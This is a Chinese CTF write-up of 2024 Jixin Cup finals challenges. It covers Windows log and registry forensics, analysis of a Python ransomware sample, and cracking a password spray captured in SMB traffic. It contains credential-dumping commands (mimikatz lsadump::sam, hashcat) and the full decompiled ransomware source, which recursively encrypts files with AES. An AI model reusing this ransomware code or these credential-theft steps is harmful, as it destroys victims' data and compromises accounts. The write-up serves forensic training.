2024冀信杯决赛

本次比赛 我们SeeU-Sec是第一

image-20250108213232049

在这里记录几道比较有意思的题目 赛制分成三部分:安全运维、应急响应、综合渗透

渗透部分还是狠狠的败北了 只做了一个后台的密码爆破和sql报错注入 分数的大头还是在应急和安全运维部分

日志和注册表分析

题目具体是什么记得不是很清楚了 大概意思好像是存在一个攻击者创建后门用户的行为 需要找到创建的这个用户和密码

首先给到的是一个evtx的windows日志文件 直接用windows默认的日志工具打开也行 但是不是很方便检索

可以先用Win_logs_parse_tool工具把evtx文件提取成xml文件和html文件 转化之后如图

image-20250108233723827

根据windows的事件ID 4720对应的事件是windows创建用户的 直接搜索这个id 找到对应的事件记录 可以在事件详情中找到创建的账户名称 是2Ha0c2K34ruiop$

image-20250108233934353

使用这个用户名可以解压附件中的SAM.zip 注册表文件压缩包 里面有三个注册表文件

image-20250109001117203

我们通过注册表可以获取windows用户密码的哈希值 但是不能直接拿到明文

只需要sam和system这两个注册表 利用mimikatz就可以进行提取

mimikatz # lsadump::sam /sam:sam.hive /system:system.hive

image-20250109001313045

RID  : 000003fb (1019)
User : 2Ha0c2K34ruiop$
  Hash NTLM: b4a13264d379f697fbc6d0b1a5c1fcf0

题目描述中提示是6位的密码 位数不是很多 我们可以直接用hashcat进行爆破

hashcat -m 1000 -a 3 b4a13264d379f697fbc6d0b1a5c1fcf0 ?a?a?a?a?a?a --show

image-20250109001458512

得到攻击者创建的账户名是2Ha0c2K34ruiop$ 密码是asdf,.

勒索程序流量

流量包很长 但是没什么用好吧 直接导出http——导出需要我们分析的文件lesuojiami.exe

image-20250109002711194

看到这个exe的图标 一眼是python打包的

image-20250109003023680

先解包成pyc

image-20250109003147001

找到pyc文件

image-20250109003208048

用pycdc反编译成py文件

image-20250109003316323

这里是将反编译的结果保存到1.py中 后面发现这个工具好像没有把全部内容反编译出来 所以换成了decompyle3

(uncompyle6最高只支持到python3.9)

image-20250109005811626

from Crypto.Cipher import AES
import os, sys

def get_file(_dir):
    _file = []
    try:
        tmp = os.listdir(_dir)
        print("遍历文件夹" + _dir)
        for i in tmp:
            i = _dir + "\\" + i
            if os.path.isdir(i):
                _file += get_file(i)
            else:
                _file.append(i)

    except:
        pass

    return _file


def add_to_16(par):
    while len(par) % 16 != 0:
        par += b'\x00'

    return par


def jiami(b_text, b_key="zhua zhu wo!!!!".encode()):
    b_key = add_to_16(b_key)
    b_text = add_to_16(b_text)
    mode = AES.MODE_ECB
    aes = AES.new(b_key, mode)
    encrypt = aes.encrypt(b_text)
    return encrypt


def jiami_file(_file):
    try:
        with open(_file, "rb") as f:
            content = f.read()
        content = jiami(content)
        with open(_file, "wb") as f:
            f.write(content)
    except:
        pass


def end():
    with open(__file__, "wb") as f:
        f.write("\n        你的重要文件已经被加密\n        ".encode())


program_name = sys.argv[0]
_dir = os.getcwd()
_file = get_file(_dir)
print(program_name)
_file.remove(_dir + "\\" + program_name)
print(_file)
for i in _file:
    print("正在处理:" + i)
    jiami_file(i)
    jiami_file(i)

重要部分就是add_to_16函数 当密钥长度不够16的时候 使用00进行补充

下面的def jiami(b_text, b_key="zhua zhu wo!!!!".encode()):告诉我们原始密钥是zhua zhu wo!!!! 将其转为16进制 在补位00即可

7a 68 75 61 20 7a 68 75 20 77 6f 21 21 21 21 00

在加密代码末尾调用了两次加密函数 我们再解密的时候也解密两次即可

附件中的重要文件文件夹中有被加密的flag压缩包 直接cyberchef进行解密

image-20250109010158048

再用passwarekit进行爆破密码

image-20250109010220680

解压得到flag

image-20250109010307975

密码喷洒

其实也就是一个ntlmv2哈希的爆破 但是需要我们找到密码喷洒成功的时候在流量中体现出来的特征

首先是筛选一下smb2 看到很多记录 先提取一下ntlmv2哈希

image-20250111004337505

python .\NTLMRawUnHide.py -i E:\Desktop\比赛\2024冀信杯决赛\1734843572658_410\密码喷洒.pcapng -o hash.txt 

可以看到结果很多 对每个账号差不多进行了101次左右的密码喷洒攻击

image-20250111004433685

直接找到最后 发现一个特征 上面这条记录是爆破失败的 在Session Setup Response后面是error 下面这条记录应该就是爆破成功的 在下面NT Status这里的值是0x00000000

image-20250111004615729

在筛选一下 看看有没有别的结果

发现是只有这一条Session Setup Response是成功的

image-20250111004808219

那就提取这一个的哈希值来进行爆破

fileserver::fbi.gov:1f1bdaf788d2c102:15c26d67db4c24e8a67fea9b447c05f8:0101000000000000a8e7eb30b851db0168765147424970490000000002000600460042004900010004004400430004000e006600620069002e0067006f00760003001400640063002e006600620069002e0067006f00760005000e006600620069002e0067006f00760007000800a8e7eb30b851db0109000e0063006900660073002f00440043000000000000000000

爆破出来是QWEasd1234

image-20250111005028612

验证一下 当我们将这个密码输入wireshark的首选项——NTLMSSP中 发现smb3流量全部被解密了 也能证明我们爆破出的密码是正确的

image-20250111005240974